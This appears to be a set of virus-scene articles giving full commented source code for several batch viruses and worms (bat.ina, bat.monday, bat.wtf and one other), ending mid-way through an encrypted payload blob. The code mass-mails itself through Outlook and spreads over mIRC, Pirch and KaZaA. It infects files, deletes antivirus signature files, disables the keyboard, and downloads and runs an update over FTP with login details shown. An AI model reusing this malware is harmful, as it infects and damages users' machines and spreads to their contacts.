friends this evening at the strip: 'Hey comrades, today I saw an encrypted batch-worm!' ... Isn't that fascinating ?! ">>outlook echo e.Attachments.Add ("c:\bat.fuck.bat")>>outlook echo e.DeleteAfterSubmit = False>>outlook echo e.Send>>outlook echo f = "">>outlook echo next>>outlook :: Now a vbs file gets written (to file "outlook" in the current directory), :: that sends the virus away as mail attachment with the help of outlook. :: Those kinds of vbs worms are widly used by viruses (and not very effective anymore, :: because most anti virus products have heuristic engines for this kind of malware). :: The vbs does the following: Pick addresses from the address-book, create a new mail, :: with the subject "Ever saw an encrypted batch-worm? N0? then it's time!", the body :: "Well, you don't have to execute the attachment (if you don't want to ;) ... :: hey, at least look at it! You can boast at your friends this evening at the strip: :: 'Hey comrades, today I saw an encrypted batch-worm!' ... Isn't that fascinating ?!", :: and the virus (c:\bat.fuck.bat) attached. After the mail has been submitted, :: it gets deleted to leave no traces. :: ... If someone doesn't belive, this virus has just been written to show programming :: techniques, and not to be spread in the wild, he can see it here: :: What inocent user would execute an attachment, when in the mail is said, :: that it's a virus ?! move outlook %winbootdir%\outlook.vbs start %winbootdir%\outlook.vbs :: Now the file "outlook" gets moved to the windows directory (with the extension vbs), :: and executed from there. :end del payload.reg del kazaa.reg :: The virus clears some unneccessary traces. start %winbootdir%\crypt.vbs :: After everything has been done, the decryption/encryption vbs gets executed again, :: returning the virus to its original form (the virus part encrypted). exit :: The virus exits Dos mode, because what would follow would be the now encrypted :: decryption/encryption stuff, what would be junk, and just causing error messages. æá :: This ("æá") is something left over from the decryption/encryption process, :: but it does not matter, because the virus exits before. :: It just grows some very little bit everytime it gets executed. :: You could call this very weak polymorphism :) ... Lifeform ... =====[end code]================================================================= All here explained virus writing techniques have been learned with the help of (basic) programming skills, virus scene tutorials, source codes of other viruses and (a lot) just through experimenting. Some book that explains/teaches programming has never really been read by the author... I hope this article helped a bit understanding, what a virus is, what it does and how it could be written. Although most (effective) viruses today are written in win32asm, this one shows some spreading techniques often used by worms. If you want to contact the author of this article, do so: philet0ast3r@rRlf.de www.rRlf.desources
bat.ina philet0ast3r [comment: bat.ina was the first batch virus, able to update itself via the internet using ftp. the url, from where it would download it's upate is still working. check out: http://de.geocities.com/batina_rrlf/ of course the virus needs the password to log in to the ftp-account, so it's given in the code. please don't be a lameass and "crack" the page. leave it as it is, for historical reasons. ty. philie] +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=+ / bat.ina by philet0ast3r [rRlf] / +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+ 010101 10010001 00 001101001 00 01 11 01110011010 01 11 00 00 11 10 010 10 11 00 100100110101100010 00 00 10 0100011100100101011 01 01 01 01010 01 101100110001010 0101 01100010 11001001010001 1001 01011000110 10 010 100 10 0110 01 110 011 01 0001 11 011 010 01 0100 00 0110 10 1010 10 10 00 01101 00 11 01 www.rRlf.de Here I am again, the crazy batch-guy. This was written with the only reason, that it hasn't been written before: This is the first batch virus, that is able to update itself via the internet. Just proof of concept. It was written September 2002, completely while I was in work ... have not much to do there :) I think it's my 15th virus, and it hasn't been written for a zine, and not for the wild. If a zine takes it for releasing, good. If not, it will never be released ;] I want to say some special thanks to one of the most important persons in my life: Ina ... This is for you. Well ... I think I'm going to smoke something now :] Here are some facts: -is able to update itself via the internet using ftp -Outlook worm (with the help of a quite common vbs) subject: hehe, isn't that fascinating... body: ... I just want to say something to the attachment: It is the first ever batch virus, that is able to update itself via the internet! Hehe, you don't have to execute it (if you don't want to ;), but if you understand a bit batch, look at it, it's really interesting! -mIRC worm -pirch worm -KaZaa worm -infects zip-files -"residency" through win.ini -retro: Norton AntiVirus 2000, AntiVir /9X Personal Edition, F-Prot 95, McAfee, Thunderbyte -payload: message-payload: message-box: this is a tribute to one of the most important persons in my current life. (hehe, i couldn't think of another name) and it is the first ever batch virus, that is able to update itself via the internet. title: bat.ina -fully compatible to Windows ME, Windows 98, Windows 95 (has been tested) -size: 5.011 bytes -AV-names: BAT_INA.A, INA.A, VBS_INA.A philet0ast3r likes to greet/thank: 3ri5, ina, adious [rRlf], alcopaul [rRlf], disc0rdia [rRlf], Dolomite [rRlf], dr.g0nZo [rRlf], El DudErin0 [rRlf], Energy [rRlf], ppacket [rRlf], Benny [29A], powerdryv [TKT], toro [TKT], rastafarie, PetiK, Necronomikon [ZG], SnakeByte [MVX], nuerble, herm1t, mgl [*], Zoom23, BTK, ToxiC, BeLiAL [BC], Second Part To Hell [BC], Satanico [BC], pissn3lk [AFN], Slage Hammer, MalFunction, Zarrmann, Senna Spy, jackie [MVX], zero-maitimax, Insider46, janine, El Commandante, castravete, bafra, Mindjuice. Well, here is the code ... The original virus is already commented, so there should be no problems understanding it. =====[begin code]=============================================================== :: bat.ina :: by philet0ast3r [rRlf] :: finished: 16.09.2002, 13:48:23 :: not meant for the wild, just some proof of concept :: first batch-worm, that is able to update itself via the internet :: (commented) @echo off ctty nul copy %0 c:\bat.ina.bat del c:\mirc\script.ini del c:\mirc32\script.ini del c:\progra~1\mirc\script.ini del c:\progra~1\mirc32\script.ini del c:\pirch98\events.ini del c:\programme\norton~1\s32integ.dll del c:\programme\f-prot95\fpwm32.dll del c:\programme\mcafee\scan.dat del c:\tbavw95\tbscan.sig del c:\programme\tbav\tbav.dat del c:\tbav\tbav.dat del c:\programme\avpersonal\antivir.vdf del c:\msg.vbs echo.on error resume next>m echo MsgBox "this is a tribute to one of the most important persons in my current life." & Chr(13) & Chr(10) & "(hehe, i couldn't think of another name)" & Chr(13) & Chr(10) & "and it is the first ever batch virus, that is able to update itself via the internet.",4096,"bat.ina">>m move m c:\msg.vbs del c:\msg.reg echo REGEDIT4>4 echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>>4 echo "msg"="c:\\msg.vbs">>4 move 4 c:\msg.reg regedit /s c:\msg.reg :: msg-payload echo [windows]>w echo load=c:\bat.ina.bat>>w echo run=>>w echo NullPort=None>>w echo.>>w copy w + %winbootdir%\win.ini %winbootdir%\system\win.ini del %winbootdir%\win.ini move %winbootdir%\system\win.ini %winbootdir%\win.ini del w :: infect win.ini echo e 0100 62 61 74 69 6E 61 5F 72 72 6C 66 0D 0A 66 75 75>u echo e 0110 75 63 6B 0D 0A 67 65 74 20 75 70 64 61 74 65 2E>>u echo e 0120 74 78 74 0D 0A 71 75 69 74 0D 0A DA ED A2 3A DF>>u echo rcx>>u echo 002B>>u echo n ude>>u echo w>>u echo q>>u debug<u del u move ude c:\ftp.txt :: ftp commands for downloading the update cd c:\ ftp -s:c:\ftp.txt ftp.de.geocities.com :: ftp commands get executed echo [script]>i echo n0=on 1:JOIN:#:{>>i echo n1= /if ( nick == $me ) { halt }>>i echo n2= /.dcc send $nick c:\bat.ina.bat>>i echo n3=}>>i move i c:\mirc\script.ini move i c:\mirc32\script.ini move i c:\progra~1\mirc\script.ini move i c:\progra~1\mirc32\script.ini del i echo [Levels]>h echo Enabled=1>>h echo Count=6>>h echo Level1=000-Unknowns>>h echo 000-UnknownsEnabled=1>>h echo Level2=100-Level 100>>h echo 100-Level 100Enabled=1>>h echo Level3=200-Level 200>>h echo 200-Level 200Enabled=1>>h echo Level4=300-Level 300>>h echo 300-Level 300Enabled=1>>h echo Level5=400-Level 400>>h echo 400-Level 400Enabled=1>>h echo Level6=500-Level 500>>h echo 500-Level 500Enabled=1>>h echo.>>h echo [000-Unknowns]>>h echo User1=*!*@*>>h echo UserCount=1>>h echo Event1=ON JOIN:#:/dcc send $nick c:\bat.ina.bat>>h echo EventCount=1>>h echo.>>h echo [100-Level 100]>>h echo UserCount=0>>h echo EventCount=0>>h echo.>>h echo [200-Level 200]>>h echo UserCount=0>>h echo EventCount=0>>h echo.>>h echo [300-Level 300]>>h echo UserCount=0>>h echo EventCount=0>>h echo.>>h echo [400-Level 400]>>h echo UserCount=0>>h echo EventCount=0>>h echo.>>h echo [500-Level 500]>>h echo UserCount=0>>h echo EventCount=0>>h move h c:\pirch98\events.ini del h :: for wasteing some time, till the download is finished, a mIRC/pIRCH-worm gets created if not exist c:\update.txt goto next :: in case of no internet-connection or failed download ren c:\update.txt updatecheck.bat call c:\updatecheck.bat :: look at http://de.geocities.com/batina_rrlf/update.txt for an update-file-example :: or look at the included update.txt :next echo REGEDIT4>k echo [HKEY_CURRENT_USER\Software\Kazaa\LocalContent]>>k echo "DisableSharing"=dword:00000000>>k echo "DownloadDir"="C:\\Program Files\\KaZaA\\My Shared Folder">>k echo "Dir0"="012345:c:\\">>k move k c:\kazaa.reg regedit /s c:\kazaa.reg for %%i in (*.zip ..\*.zip %winbootdir%\desktop\*.zip) do pkzip -e0 -u -r -k %%i "c:\bat.ina.bat">nul.zip del %winbootdir%\mail.vbs echo.on error resume next>o echo dim a,b,c,d,e>>o echo set a = Wscript.CreateObject("Wscript.Shell")>>o echo set b = CreateObject("Outlook.Application")>>o echo set c = b.GetNameSpace("MAPI")>>o echo for y = 1 To c.AddressLists.Count>>o echo set d = c.AddressLists(y)>>o echo x = 1>>o echo set e = b.CreateItem(0)>>o echo for o = 1 To d.AddressEntries.Count>>o echo f = d.AddressEntries(x)>>o echo e.Recipients.Add f>>o echo x = x + 1>>o echo next>>o echo e.Subject = "hehe, isn't that fascinating...">>o echo e.Body = "... I just want to say something to the attachment: It is the first ever batch virus, that is able to update itself via the internet! Hehe, you don't have to execute it (if you don't want to ;), but if you understand a bit batch, look at it, it's really interesting!">>o echo e.Attachments.Add ("c:\bat.ina.bat")>>o echo e.DeleteAfterSubmit = False>>o echo e.Send>>o echo f = "">>o echo next>>o move o %winbootdir%\mail.vbs start %winbootdir%\mail.vbs del c:\kazaa.reg del c:\ftp.txt :end :: that's it ppl :: ... :: philet0ast3r@rRlf.de =====[end code]================================================================ And here is an example for an update-file. Everything should be clear, code is again already commented. =====[begin code]=============================================================== :: bat.ina update-file :: by philet0ast3r [rRlf] :: if downloaded by bat.ina, this file gets executed as c:\updatecheck.bat @echo off ctty nul del %winbootdir%\anitab1a.sig :: this is the signature-file of the original virus :: newer versions would delete all known signature-files if exist %winbootdir%\*.sig goto end :: if there's nevertheless a .sig-file, it means there's already a newer version installed :: (as this is only proof of concept, there will probably be no new version) echo this file is important>%winbootdir%\anitab1a.sig :: the running version writes its signature-file echo @echo off>ud echo echo (this could be some new code)>>ud echo :end>>ud move ud %winbootdir%\update.bat :: this is now the code of the new virus :: if it is in fact a new version, it gets installed :: (as said before, there will probably be no updates, :: so this contains no code, but is just an example) call %winbootdir%\update.bat :end =====[end code]================================================================ Here are the debuged ftp commands, for downloading the update. If you want to "hack" and abuse my ftp, do it ... it has no worth for me. You would just be lame. ... As I finished the virus, I submitted it to Trend Micro. They said, they blocked the ftp ... Well, until now, I can still access the page, and the example-update-file ... Perhaps I should really put it in the wild, and place some silent dcc-send or an other evil thing as update-file :)) Perhaps then they would really do something, not just talk. As my father always said: First there has to happen something, before something happens. =====[begin code]=============================================================== batina_rrlf fuuuck get update.txt quit =====[end code]================================================================ That's all, ppl. Hope this enjoyed you a bit. And remember, batch is in no way dead yet... Something you want to tell me? ... Equal what: philet0ast3r@rRlf.de www.rRlf.desources
bat.monday philet0ast3r [comment: bat.monday was planed to be released in vortex zine 2001. but the zine never came out, and i forgot about bat.monday. i just recently found it again, so here it is. philie] "Pinoy Virus Writers" proudly presents: "bat.monday" by philet0ast3r [rRlf] ************************************ 000000 00000000 00 000000000 00 00 00 00000000000 00 00 00 00 00 00 000 00 00 00 000000000000000000 00 00 00 0000000000000000000 00 00 00 00000 00 000000000000000 0000 00000000 00000000000000 0000 00000000000 00 000 000 00 0000 00 000 000 00 0000 00 000 000 00 0000 00 0000 00 0000 00 00 00 00000 00 00 00 www.rRlf.de This is my 10th virus, and we have got end of February 2001 now. I know vortex from the scene. One day I read on his homepage, that he wants to release a zine. This virus was written for it, and will be released in/with it. Here are some facts: -parasitic bat-infector -searches the current, the parrent and the windows-system-directories -Outlook worm: uses Alco paul's method to create a vbs that send's the batch-virus away subject: Another ugly monday? body: You don't like mondays? Here's the solution: Read our few tips how to get over the next monday. -mIRC worm -spreads via disks -double-"residency": autostart & win.ini -retro: Norton AntiVirus 2000, AntiVir /9X Personal Edition, F-Prot 95, McAfee, Thunderbyte -payload: disables the keyboard and displays the following message: <begin message> Do you hate m0ndays, too? No? Perhaps now you do. ... (if this is a monday; did you know: phuckin ME doesn't take day-names as valid dates) ... bat.monday by philet0ast3r [rRlf] <end message> I wanted the virus to do this on every monday. But then I had to realize, that Windows ME doesn't take day-names as valid dates, so the payload gets not executed. So I added a little thing: The payload gets now executed on every date, that has a 1 in it's number ... and on not ME systems: On every monday. -copies itself as call-back to the windows-directory -signature: m0n -fully compatible to Windows ME, Windows 98, Windows 95 (has been tested) -size: 4.114 bytes philet0ast3r likes to gr33t: 3ri5, dr.g0nZo [rRlf], El DudErin0 [rRlf], ppacket [rRlf], rastafarie [rRlf], luN4 [rRlf], vortex, Zoom23 [PVW], Alco paul, Necronomikon [ZG], cronus [DoJ], pissn3lk [AFN], BeLiAL [BC], ToxiC, herm1t, PetiK, Energy, BTK, kimera, h0axly, Virus 3000, Senna Spy, SnakeByte [MVX], Zarrmann, El Commandante, Julia, b3rnti, ina, janine, Ernst, fir3nz3 z00l, Mindjuice. Well, here is the script (with some comments "-->"; have to be removed for virus to run) ... phile-name should be fuck_mondays.doc.bat, but it's not neccessary: @echo off%_m0n% ctty nul.m0n if '%1=='m0n goto m0n%2 set m0n=%0.bat if not exist %m0n% set m0n=%0 if '%m0n%==' set m0n=autoexec.bat if exist %winbootdir%\bat.monday.bat goto m0nv if not exist %m0n% goto 5m0n find "m0n"<%m0n%>%winbootdir%\bat.monday.bat :m0nv command /e:5000 /c %winbootdir%\bat.monday.bat m0n inf -->the above is the first part of a quite normal infection-routine -->the hidden call-back-file is also created here :5m0n echo [script]>m0n23.bat echo n0=on 1:JOIN:#:{ >>m0n23.bat echo n1= /if ( nick == $me ) { halt } >>m0n23.bat echo n2= /.dcc send $nick c:\fuck_mondays.doc.bat >>m0n23.bat echo n3=} >>m0n23.bat if exist c:\mirc\mirc.ini copy m0n23.bat c:\mirc\script.ini if exist c:\mirc32\mirc.ini copy m0n23.bat c:\mirc32\script.ini if exist c:\progra~1\mirc\mirc.ini copy m0n23.bat c:\progra~1\mirc\script.ini if exist c:\progra~1\mirc32\mirc.ini copy m0n23.bat c:\progra~1\mirc32\script.ini if exist m0n23.bat copy fuck_mondays.doc.bat c:\fuck_mondays.doc.bat -->the above is the mIRC-worm-routine -->it makes a mIRC-script-file and places it in a possible mIRC-directory copy fuck_mondays.doc.bat c:\m0nday.sys if exist m0n23.bat del c:\programme\norton~1\s32integ.dll if exist m0n23.bat del c:\programme\f-prot95\fpwm32.dll if exist m0n23.bat del c:\programme\mcafee\scan.dat if exist m0n23.bat del c:\tbavw95\tbscan.sig if exist m0n23.bat del c:\programme\tbav\tbav.dat if exist m0n23.bat del c:\tbav\tbav.dat if exist m0n23.bat del c:\programme\avpersonal\antivir.vdf -->the above is the retro-routine -->the avs can not scan without those files if exist %winbootdir%\startmen\programme\autostart\NortonAV.bat goto rdm0n echo @echo off>m0n5.bat echo ctty nul>>m0n5.bat echo if exist c:\fuck_mondays.doc.bat goto 0k>>m0n5.bat echo copy c:\m0nday.sys c:\fuck_mondays.doc.bat>>m0n5.bat echo call c:\fuck_mondays.doc.bat>>m0n5.bat echo :0k>>m0n5.bat move m0n5.bat %winbootdir%\startmen\programme\autostart\NortonAV.bat -->the above is the autostart-residency-routine -->it checks if the virus has been deleted -->(and so if the win.ini-residency is still working) -->if yes, it solves the problem -->the below is the win.ini-residency-routine -->it infects the win.ini -->the empty lines are neccessary for windows taking this as true win.ini :rdm0n copy c:\fuck_mondays.doc.bat + %winbootdir%\win.ini %winbootdir%\system\win.ini del %winbootdir%\win.ini move %winbootdir%\system\win.ini %winbootdir%\win.ini goto dim0n [windows] load=c:\fuck_mondays.doc.bat run=C:\WINDOWS\SYSTEM\cmmpu.exe NullPort=None :dim0n if exist m0n23.bat command /f /c copy c:\fuck_mondays.doc.bat a:\ -->the above is a command line, that makes it possible to copy to diskettes -->there will be no error if there is no disk in drive a: -->or if it is writeprotected or full :wym0n echo.on error resume next >%winbootdir%\m0n.vbs echo dim a,b,c,d,e >>%winbootdir%\m0n.vbs echo set a = Wscript.CreateObject("Wscript.Shell") >>%winbootdir%\m0n.vbs echo set b = CreateObject("Outlook.Application") >>%winbootdir%\m0n.vbs echo set c = b.GetNameSpace("MAPI") >>%winbootdir%\m0n.vbs echo for y = 1 To c.AddressLists.Count >>%winbootdir%\m0n.vbs echo set d = c.AddressLists(y) >>%winbootdir%\m0n.vbs echo x = 1 >>%winbootdir%\m0n.vbs echo set e = b.CreateItem(0) >>%winbootdir%\m0n.vbs echo for o = 1 To d.AddressEntries.Count >>%winbootdir%\m0n.vbs echo f = d.AddressEntries(x) >>%winbootdir%\m0n.vbs echo e.Recipients.Add f >>%winbootdir%\m0n.vbs echo x = x + 1 >>%winbootdir%\m0n.vbs echo next >>%winbootdir%\m0n.vbs echo e.Subject = "Another ugly monday?" >>%winbootdir%\m0n.vbs echo e.Body = "You don't like mondays? Here's the solution: Read our few tips how to get over the next monday." >>%winbootdir%\m0n.vbs echo e.Attachments.Add ("c:\fuck_mondays.doc.bat") >>%winbootdir%\m0n.vbs echo e.DeleteAfterSubmit = False >>%winbootdir%\m0n.vbs echo e.Send >>%winbootdir%\m0n.vbs echo f = "" >>%winbootdir%\m0n.vbs echo next >>%winbootdir%\m0n.vbs start %winbootdir%\m0n.vbs -->the above is the Outlook-worm-routine -->the created vbs sends the virus to the addresses in the address-book -->problem: when the vbs gets executed, and an (up to date) av-monitor is active, -->the system will probably halt, and the av will pop up a warning: -->"new vbs worm" or something like that :plm0n echo.|date|find "mon">m0n if errorlevel 1 goto 1m0n goto msgm0n :1m0n echo.|date|find "1">m0n if errorlevel 1 goto nom0n :msgm0n if exist m0n23.bat %winbootdir%\rundll32.exe keyboard,disable if exist m0n23.bat ctty con echo%_m0n% Do you hate m0ndays, too? No? Perhaps now you do. echo%_m0n% ... echo%_m0n% (if this is a monday; echo%_m0n% did you know: phuckin ME doesn't take day-names as valid dates) echo%_m0n% ... echo%_m0n% bat.monday by philet0ast3r [rRlf] ctty nul.m0n -->the above is the payload -->it checks if we got a monday (on not Windows ME systems) or a 1 in the date -->if yes, the keyboard gets disabled, and the message displayed :nom0n del m0n23.bat del m0n set m0n= goto endm0n :m0ninf for %%a in (*.bat ..\*.bat %winbootdir%\system\*.bat) do call %winbootdir%\bat.monday.bat m0n 23 %%a exit m0n :m0n23 find "m0n"<%3>nul if not errorlevel 1 goto 17m0n type %winbootdir%\bat.monday.bat>m0n$ type %3>>m0n$ move m0n$ %3>nul exit m0n :17m0n set m0n!=%m0n!%1 if %m0n!%==1 exit :endm0n -->the above is the rest of the infection-routinesources
bat.wtf philet0ast3r +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=+ / bat.wtf by philet0ast3r [rRlf] / +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+ 010101 10010001 00 001101001 00 01 11 01110011010 01 11 00 00 11 10 010 10 11 00 100100110101100010 00 00 10 0100011100100101011 01 01 01 01010 01 101100110001010 0101 01100010 11001001010001 1001 01011000110 10 010 100 10 0110 01 110 011 01 0001 11 011 010 01 0100 00 0110 10 1010 10 10 00 01101 00 11 01 www.rRlf.de Here we go again, batch freaks. This virus (yes, its really a virus ... a great appending bat-infector) shows a new polymorphic encryption technique for batch. Besides that there is nothing really interesting in this virus/trojan. philet0ast3r would like to greet/thank some important persons: 3ri5, tanja, ina, janine, phily, rastafarie, jackie, gl_st0rm, Toro, breathe, alcopaul, NeKr0, Slage Hammer, Necronomikon, BeLiAL, malfunction, Mindjuice, and the rest of the rRlf. Here is the code of the virus, with some comments: =====[begin code]=============================================================== @echo off :: bat.wtf :: by philet0ast3r [rRlf] :: to show a completly different polymorphic technique for batch :: finished: 04.05.2003, 13:45:35 ctty nul if exist c:\ww goto i echo Çâäïè§èááŠäóóþ§éòëŠîá§éèó§âÿîôó§ôéã©ïëá§àèóè§âéãŠâäïè§â§·¶··§³·§±²§±´§±¿§±Á§µ·§±Á§±±§±±§·Ã§·Æ§´Æ§°µ§·Ã§·Æ§°±¹õŠâäïè§â§·¶¶·§±²§°µ§°Ä§°³§±¾§±Ã§±²§°Ä§±±§±¾§±Â§±³§µ·§µµ§µÄ§´¶¹¹õŠâäïè§â§·¶µ·§µµ§´Â§±Â§°²§±Ä§·Ã§·Æ§±¾§±±§µ·§±Â§±Á§°³§µ·§±²§°µ¹¹õŠâäïè§â§·¶´·§°µ§±Á§°µ§±Ä§±²§°±§±²§±Ä§µ·§´¶§µ·§±°§±Á§°³§±Á§µ·¹¹õŠâäïè§â§·¶³·§´¶§·Ã§·Æ§°±§±²§°µ§°Ä§°³§±¾§±Ã§±²§°Ä§±±§±¾§±Â§±³¹¹õŠâäïè§â§·¶²·§µ·§µµ§µÄ§´µ§µµ§´Â§±Â§°²§±Ä§·Ã§·Æ§±¾§±±§µ·§±Â§±Á¹¹õŠâäïè§â§·¶±·§°³§µ·§±²§°µ§°µ§±Á§°µ§±Ä§±²§°±§±²§±Ä§µ·§´¶§µ·§±°¹¹õŠâäïè§â§·¶°·§±Á§°³§±Á§µ·§´¶§·Ã§·Æ§°±§±²§°µ§°Ä§°³§±¾§±Ã§±²§°Ä¹¹õŠâäïè§â§·¶¿·§±±§±¾§±Â§±³§µ·§µµ§µÄ§´´§µµ§´Â§±Â§°²§±Ä§·Ã§·Æ§±¾¹¹õŠâäïè§â§·¶¾·§±±§µ·§±Â§±Á§°³§µ·§±²§°µ§°µ§±Á§°µ§±Ä§±²§°±§±²§±Ä¹¹õŠâäïè§â§·¶Æ·§µ·§´¶§µ·§±°§±Á§°³§±Á§µ·§´¶§·Ã§·Æ§°±§±²§°µ§°Ä§°³¹¹õŠâäïè§â§·¶Å·§±¾§±Ã§±²§°Ä§±±§±¾§±Â§±³§µ·§µµ§µÄ§´³§µµ§´Â§±Â§°²¹¹õŠâäïè§â§·¶Ä·§±Ä§·Ã§·Æ§±¾§±±§µ·§±Â§±Á§°³§µ·§±²§°µ§°µ§±Á§°µ§±Ä¹¹õŠâäïè§â§·¶Ã·§±²§°±§±²§±Ä§µ·§´¶§µ·§±°§±Á§°³§±Á§µ·§´µ§·Ã§·Æ§°±¹¹õŠ>i echo Šâäïè§â§·¶Â·§±²§°µ§°Ä§°³§±¾§±Ã§±²§°Ä§±±§±¾§±Â§±³§µ·§µµ§µÄ§´²¹¹õŠâäïè§â§·¶Á·§µµ§´Â§±Â§°²§±Ä§·Ã§·Æ§±¾§±±§µ·§±Â§±Á§°³§µ·§±²§°µ¹¹õŠâäïè§â§·µ··§°µ§±Á§°µ§±Ä§±²§°±§±²§±Ä§µ·§´¶§µ·§±°§±Á§°³§±Á§µ·¹¹õŠâäïè§â§·µ¶·§´µ§·Ã§·Æ§°±§±²§°µ§°Ä§°³§±¾§±Ã§±²§°Ä§±±§±¾§±Â§±³¹¹õŠâäïè§â§·µµ·§µ·§µµ§µÄ§´±§µµ§´Â§±Â§°²§±Ä§·Ã§·Æ§±¾§±±§µ·§±Â§±Á¹¹õŠâäïè§â§·µ´·§°³§µ·§±²§°µ§°µ§±Á§°µ§±Ä§±²§°±§±²§±Ä§µ·§´¶§µ·§±°¹¹õŠâäïè§â§·µ³·§±Á§°³§±Á§µ·§´µ§·Ã§·Æ§°±§±²§°µ§°Ä§°³§±¾§±Ã§±²§°Ä¹¹õŠâäïè§â§·µ²·§±±§±¾§±Â§±³§µ·§µµ§µÄ§´°§µµ§´Â§±Â§°²§±Ä§·Ã§·Æ§±¾¹¹õŠâäïè§â§·µ±·§±±§µ·§±Â§±Á§°³§µ·§±²§°µ§°µ§±Á§°µ§±Ä§±²§°±§±²§±Ä¹¹õŠâäïè§â§·µ°·§µ·§´¶§µ·§±°§±Á§°³§±Á§µ·§´´§·Ã§·Æ§°±§±²§°µ§°Ä§°³¹¹õŠâäïè§â§·µ¿·§±¾§±Ã§±²§°Ä§±±§±¾§±Â§±³§µ·§µµ§µÄ§´¿§µµ§´Â§±Â§°²¹¹õŠâäïè§â§·µ¾·§±Ä§·Ã§·Æ§±¾§±±§µ·§±Â§±Á§°³§µ·§±²§°µ§°µ§±Á§°µ§±Ä¹¹õŠâäïè§â§·µÆ·§±²§°±§±²§±Ä§µ·§´¶§µ·§±°§±Á§°³§±Á§µ·§´´§·Ã§·Æ§°±¹¹õŠâäïè§â§·µÅ·§±²§°µ§°Ä§°³§±¾§±Ã§±²§°Ä§±±§±¾§±Â§±³§µ·§µµ§µÄ§´¾¹¹õŠ>>i echo Šâäïè§â§·µÄ·§µµ§´Â§±Â§°²§±Ä§·Ã§·Æ§±¾§±±§µ·§±Â§±Á§°³§µ·§±²§°µ¹¹õŠâäïè§â§·µÃ·§°µ§±Á§°µ§±Ä§±²§°±§±²§±Ä§µ·§´¶§µ·§±°§±Á§°³§±Á§µ·¹¹õŠâäïè§â§·µÂ·§´´§·Ã§·Æ§°±§±²§°µ§°Ä§°³§±¾§±Ã§±²§°Ä§±±§±¾§±Â§±³¹¹õŠâäïè§â§·µÁ·§µ·§µµ§µÄ§´·§µµ§´Â§±Â§°²§±Ä§·Ã§·Æ§±¾§±±§µ·§±Â§±Á¹¹õŠâäïè§â§·´··§°³§µ·§±²§°µ§°µ§±Á§°µ§±Ä§±²§°±§±²§±Ä§µ·§´¶§µ·§±°¹¹õŠâäïè§â§·´¶·§±Á§°³§±Á§µ·§°µ§·Ã§·Æ§±°§±Á§°³§±Á§µ·§°µ§·Ã§·Æ§´Æ¹¹õŠâäïè§â§·´µ·§´¶§·Ã§·Æ§±²§±´§±¿§±Á§µ·§µÂ§´Â§´¶§µÂ§°µ§°µ§·Ã§·Æ¹¹õŠâäïè§â§·´´·§±°§±Á§°³§±Á§µ·§±³§·Ã§·Æ§´Æ§´µ§·Ã§·Æ§±²§±´§±¿§±Á¹¹õŠâäïè§â§·´³·§µ·§µÂ§´Â§´µ§µÂ§°µ§°µ§·Ã§·Æ§±°§±Á§°³§±Á§µ·§±³§·Ã¹¹õŠâäïè§â§·´²·§·Æ§´Æ§´´§·Ã§·Æ§±²§±´§±¿§±Á§µ·§µÂ§´Â§´´§µÂ§°µ§°µ¹¹õŠâäïè§â§·´±·§·Ã§·Æ§´Æ§±³§·Ã§·Æ§Ã°¹¹õŠâäïè§õäÿ¹¹õŠâäï觷µ±±¹¹õŠâäïè§é§õ©åæó¹¹õŠâäïè§ð¹¹õŠâäïè§ö¹¹õŠãâåòà»õŠãâë§õŠâäïè§Çâäïè§èáá¹·Šâäïè§äæëë§õ©åæó¹¹·Šâäïè§îá§âÿîô󧶩õõ§âäïè§åæó©ðóὧÏèð§æõâ§þèò¸¹¹·Šâäïè§îá§âÿîô󧵩õõ§âäïè§åæó©ðóὧÐïæó§æõâ§þèò§ãèîéู¹·Šâäïè§îá§âÿîôó§´©õõ§âäïè§åæó©ðóὧÏèð§æõâ§óïîéàô§ðîóï§þèò¸¹¹·Šâäïè§ãâ맩õõ¹¹·Š>>i echo Šâäïè§äïèîä⧨佩§¨é§¨ó½©«·µ¹¹·Šâäïè§äæëë§æ©åæó¹¹·Šõâ駷§·©åæóŠâäïè§Çâäïè§èáá¹åŠâäïè§äæëë§õ©åæó¹¹åŠâäïè§îá§âÿîô󧶩õõ§âäïè§åæó©ðóὧΠê§áîé⫧óïæéìô©¹¹åŠâäïè§îá§âÿîô󧵩õõ§âäïè§åæó©ðóὧÞâæ﫧îó ô§õâæëëþ§åèõîéà§ïâõ⩹¹åŠâäïè§îá§âÿîôó§´©õõ§âäïè§åæó©ðóὧΠê§è짩©©§Î§íòôó§àèó§óèè§êæéþ§åòàô§¯íèì⧼®©¹¹åŠâäïè§ãâ맩õõ¹¹åŠâäïè§äïèîä⧨佩§¨é§¨ó½©«·µ¹¹åŠâäïè§äæëë§ä©åæó¹¹åŠõâé§å§å©åæóŠâäïè§Çâäïè§èáá¹ãŠâäïè§äæëë§õ©åæó¹¹ãŠâäïè§îá§âÿîô󧶩õõ§âäïè§åæó©ðóὧÉ諧Χãîãé ó§ïæñâ§æéþ§÷õèåëâêô©§Þèò¸¹¹ãŠâäïè§îá§âÿîô󧵩õõ§âäïè§åæó©ðóὧΧãîãé ó§ôââ§æéþ©§Ëæêâ§÷õèóâäóîè驧Ãîã§þèò§ïæñâ§æéþ§÷õèåëâêô¸¹¹ãŠâäïè§îá§âÿîôó§´©õõ§âäïè§åæó©ðóὧΧêâó§ôèêâ§õâäâéóëþ©§Åòó§Î§ïæñâ§åâæóâé§óïâ§ôïîó§èòó§èá§îó§½Ú§Æéã§þèò¸¹¹ãŠâäïè§ãâ맩õõ¹¹ãŠâäïè§äïèîä⧨佩§¨é§¨ó½©«·µ¹¹ãŠâäïè§äæëë§â©åæó¹¹ãŠõâé§ã§ã©åæóŠâäïè§Çâäïè§èáá¹áŠâäïè§äæëë§õ©åæó¹¹áŠâäïè§îá§âÿîô󧶩õõ§âäïè§åæó©ðóὧΠê§àèîéà§óè§àâó§êâ§ôèêâ§ãõòàô§éè𩹹áŠâäïè§îá§âÿîô󧵩õõ§âäïè§åæó©ðóὧΧðæéó§ôâÿ¦¹¹áŠ>>i echo 